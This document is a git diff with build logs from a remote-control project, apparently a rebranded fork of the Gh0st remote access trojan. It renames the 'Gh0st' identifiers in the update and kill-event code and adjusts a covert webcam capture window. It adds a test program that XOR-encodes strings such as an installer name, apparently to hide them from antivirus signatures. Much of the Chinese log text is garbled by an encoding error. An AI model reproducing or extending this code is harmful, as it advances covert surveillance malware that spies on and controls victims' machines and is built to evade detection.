warning C4307: 鈥+鈥: 鏁村瀷甯搁噺婧㈠嚭 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: 鈥淐FileManager::OpenFile鈥: 涓嶆槸鎵鏈夌殑鎺т欢璺緞閮借繑鍥炲 cl : 鍛戒护琛 warning D9002: 蹇界暐鏈煡閫夐」鈥/Zc:stricStrings鈥 dllmain.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: 鈥減End鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(168): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: 鈥減End鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(168): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 LINK : warning LNK4044: 鏃犳硶璇嗗埆鐨勯夐」鈥/Zc:strictStrings鈥濓紱宸插拷鐣 姝e湪鍒涘缓搴 ..\..\bin\server\CcMainDll.lib 鍜屽璞 ..\..\bin\server\CcMainDll.exp LINK : warning LNK4098: 榛樿搴撯淟IBCMT鈥濅笌鍏朵粬搴撶殑浣跨敤鍐茬獊锛涜浣跨敤 /NODEFAULTLIB:library - CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll + CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate index 03e57a1..bd1e4f2 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\| +Debug|Win32|F:\myapp\CcRemote\CcMainDll\| diff --git a/CcMainDll/CcMainDll/common/VideoCap.cpp b/CcMainDll/CcMainDll/common/VideoCap.cpp index c4ac6fc..1bffe6a 100644 --- a/CcMainDll/CcMainDll/common/VideoCap.cpp +++ b/CcMainDll/CcMainDll/common/VideoCap.cpp @@ -21,10 +21,11 @@ CVideoCap::CVideoCap() if (!IsWebCam() || m_bIsConnected) return; + //"#32770默认的窗口类名 m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL); m_hWndCap = capCreateCaptureWindow ( - "CVideoCap", + "VideoCapWindow", WS_CHILD | WS_VISIBLE, 0, 0, diff --git a/CcMainDll/CcMainDll/common/loop.h b/CcMainDll/CcMainDll/common/loop.h index 3e67c68..ac54239 100644 --- a/CcMainDll/CcMainDll/common/loop.h +++ b/CcMainDll/CcMainDll/common/loop.h @@ -187,7 +187,7 @@ bool UpdateServer(LPCTSTR lpURL) PROCESS_INFORMATION pi; si.cb = sizeof si; si.lpDesktop = "WinSta0\\Default"; - return CreateProcess(lpFileName, "Gh0st Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi); + return CreateProcess(lpFileName, "CcRmt Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi); } diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp index 31772f8..81a0fac 100644 --- a/CcMainDll/CcMainDll/dllmain.cpp +++ b/CcMainDll/CcMainDll/dllmain.cpp @@ -50,7 +50,7 @@ DWORD WINAPI main(char *lpServiceName) SetUnhandledExceptionFilter(bad_exception); lstrcpy(strServiceName, lpServiceName); - wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 闅忔満浜嬩欢鍚 + wsprintf(strKillEvent, "Global\\CcRem %d", GetTickCount()); // 闅忔満浜嬩欢鍚 hInstallMutex = CreateMutex(NULL, true, g_strHost); //ReConfigService(strServiceName); diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll index 77f73b2..7484544 100644 Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ diff --git a/bin/server/CcMainDll.lib b/bin/server/CcMainDll.lib index 2032dd2..d5faaf6 100644 Binary files a/bin/server/CcMainDll.lib and b/bin/server/CcMainDll.lib differ diff --git a/strCodeTest/.vs/strCodeTest/v15/.suo b/strCodeTest/.vs/strCodeTest/v15/.suo new file mode 100644 index 0000000..94ea56c Binary files /dev/null and b/strCodeTest/.vs/strCodeTest/v15/.suo differ diff --git a/strCodeTest/Debug/strCodeTest.exe b/strCodeTest/Debug/strCodeTest.exe new file mode 100644 index 0000000..37c9c4b Binary files /dev/null and b/strCodeTest/Debug/strCodeTest.exe differ diff --git a/strCodeTest/strCodeTest.sln b/strCodeTest/strCodeTest.sln new file mode 100644 index 0000000..cb145e9 --- /dev/null +++ b/strCodeTest/strCodeTest.sln @@ -0,0 +1,31 @@ +锘 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28307.1022 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "strCodeTest", "strCodeTest\strCodeTest.vcxproj", "{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Debug|x64.ActiveCfg = Debug|x64 + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Debug|x64.Build.0 = Debug|x64 + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Debug|x86.ActiveCfg = Debug|Win32 + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Debug|x86.Build.0 = Debug|Win32 + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Release|x64.ActiveCfg = Release|x64 + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Release|x64.Build.0 = Release|x64 + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Release|x86.ActiveCfg = Release|Win32 + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {702339B7-C70C-4AF0-AFEF-5E6AEB03540F} + EndGlobalSection +EndGlobal diff --git a/strCodeTest/strCodeTest/Debug/strCodeTest.log b/strCodeTest/strCodeTest/Debug/strCodeTest.log new file mode 100644 index 0000000..a2fd81c --- /dev/null +++ b/strCodeTest/strCodeTest/Debug/strCodeTest.log @@ -0,0 +1,6 @@ +锘 strCodeTest.cpp +f:\myapp\ccremote\strcodetest\strcodetest\strcodetest.cpp(13): warning C4018: 鈥<=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\strcodetest\strcodetest\strcodetest.cpp(15): warning C4267: 鈥=鈥: 浠庘渟ize_t鈥濊浆鎹㈠埌鈥渃har鈥濓紝鍙兘涓㈠け鏁版嵁 +f:\myapp\ccremote\strcodetest\strcodetest\strcodetest.cpp(27): warning C4018: 鈥<=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\strcodetest\strcodetest\strcodetest.cpp(29): warning C4267: 鈥=鈥: 浠庘渟ize_t鈥濊浆鎹㈠埌鈥渃har鈥濓紝鍙兘涓㈠け鏁版嵁 + strCodeTest.vcxproj -> F:\myapp\CcRemote\strCodeTest\Debug\strCodeTest.exe diff --git a/strCodeTest/strCodeTest/Debug/strCodeTest.tlog/strCodeTest.lastbuildstate b/strCodeTest/strCodeTest/Debug/strCodeTest.tlog/strCodeTest.lastbuildstate new file mode 100644 index 0000000..5bbebeb --- /dev/null +++ b/strCodeTest/strCodeTest/Debug/strCodeTest.tlog/strCodeTest.lastbuildstate @@ -0,0 +1,2 @@ +#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 +Debug|Win32|F:\myapp\CcRemote\strCodeTest\| diff --git a/strCodeTest/strCodeTest/strCodeTest.cpp b/strCodeTest/strCodeTest/strCodeTest.cpp new file mode 100644 index 0000000..7e1c13d --- /dev/null +++ b/strCodeTest/strCodeTest/strCodeTest.cpp @@ -0,0 +1,54 @@ +锘// stringCryDemo.cpp : 姝ゆ枃浠跺寘鍚 "main" 鍑芥暟銆傜▼搴忔墽琛屽皢鍦ㄦ澶勫紑濮嬪苟缁撴潫銆 +// + +#include + +char* crycode(char* str) +{ + printf("cry: %s \n", str); + int len = strlen(str); + char * a = (char *)operator new(len + 1); + a[0] = len; + printf("%02hhx", a[0]); + for (size_t i = 1; i <= len; i++) + { + a[i] = str[i - 1] ^ (0xCC - i); + printf("%02hhx", a[i]); + } + printf("\n"); + return a; +} + + +char* uncode(char* str) +{ + int len = str[0]; + char * uncodeStr = (char *)operator new(len + 1); + for (size_t i = 1; i <= len; i++) + { + uncodeStr[i - 1] = str[i] ^ (0xCC - i); + printf("%c", uncodeStr[i - 1]); + } + uncodeStr[len] = 0x00; + printf("\n"); + return uncodeStr; +} + + + + +int main() +{ + char a[] = "Hello World!"; + char b[] = "123456789!"; + char c[] = "LyxInstaller.exe"; + char d[] = "%-24s %-15s 0x%x"; + char* s1 = crycode(a); + char* s2 = crycode(b); + char* s3 = crycode(c); + char* s4 = crycode(d); + uncode(s1); + uncode(s2); + uncode(s3); + uncode(s4); +} \ No newline at end of file diff --git a/strCodeTest/strCodeTest/strCodeTest.vcxproj b/strCodeTest/strCodeTest/strCodeTest.vcxproj new file mode 100644 index 0000000..f502898 --- /dev/null +++ b/strCodeTest/strCodeTest/strCodeTest.vcxproj @@ -0,0 +1,159 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {BAFA92C5-CDFB-466D-9F8B-8857982F6C9C} + Win32Proj + strCodeTest + 10.0.17763.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/strCodeTest/strCodeTest/strCodeTest.vcxproj.filters b/strCodeTest/strCodeTest/strCodeTest.vcxproj.filters new file mode 100644 index 0000000..ccf0b43 --- /dev/null +++ b/strCodeTest/strCodeTest/strCodeTest.vcxproj.filters @@ -0,0 +1,22 @@ +锘 + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 婧愭枃浠 + + + \ No newline at end of file diff --git a/strCodeTest/strCodeTest/strCodeTest.vcxproj.user b/strCodeTest/strCodeTest/strCodeTest.vcxproj.user new file mode 100644 index 0000000..be25078 --- /dev/null +++ b/strCodeTest/strCodeTest/strCodeTest.vcxproj.user @@ -0,0 +1,4 @@ +锘 + + + \ No newline at end of file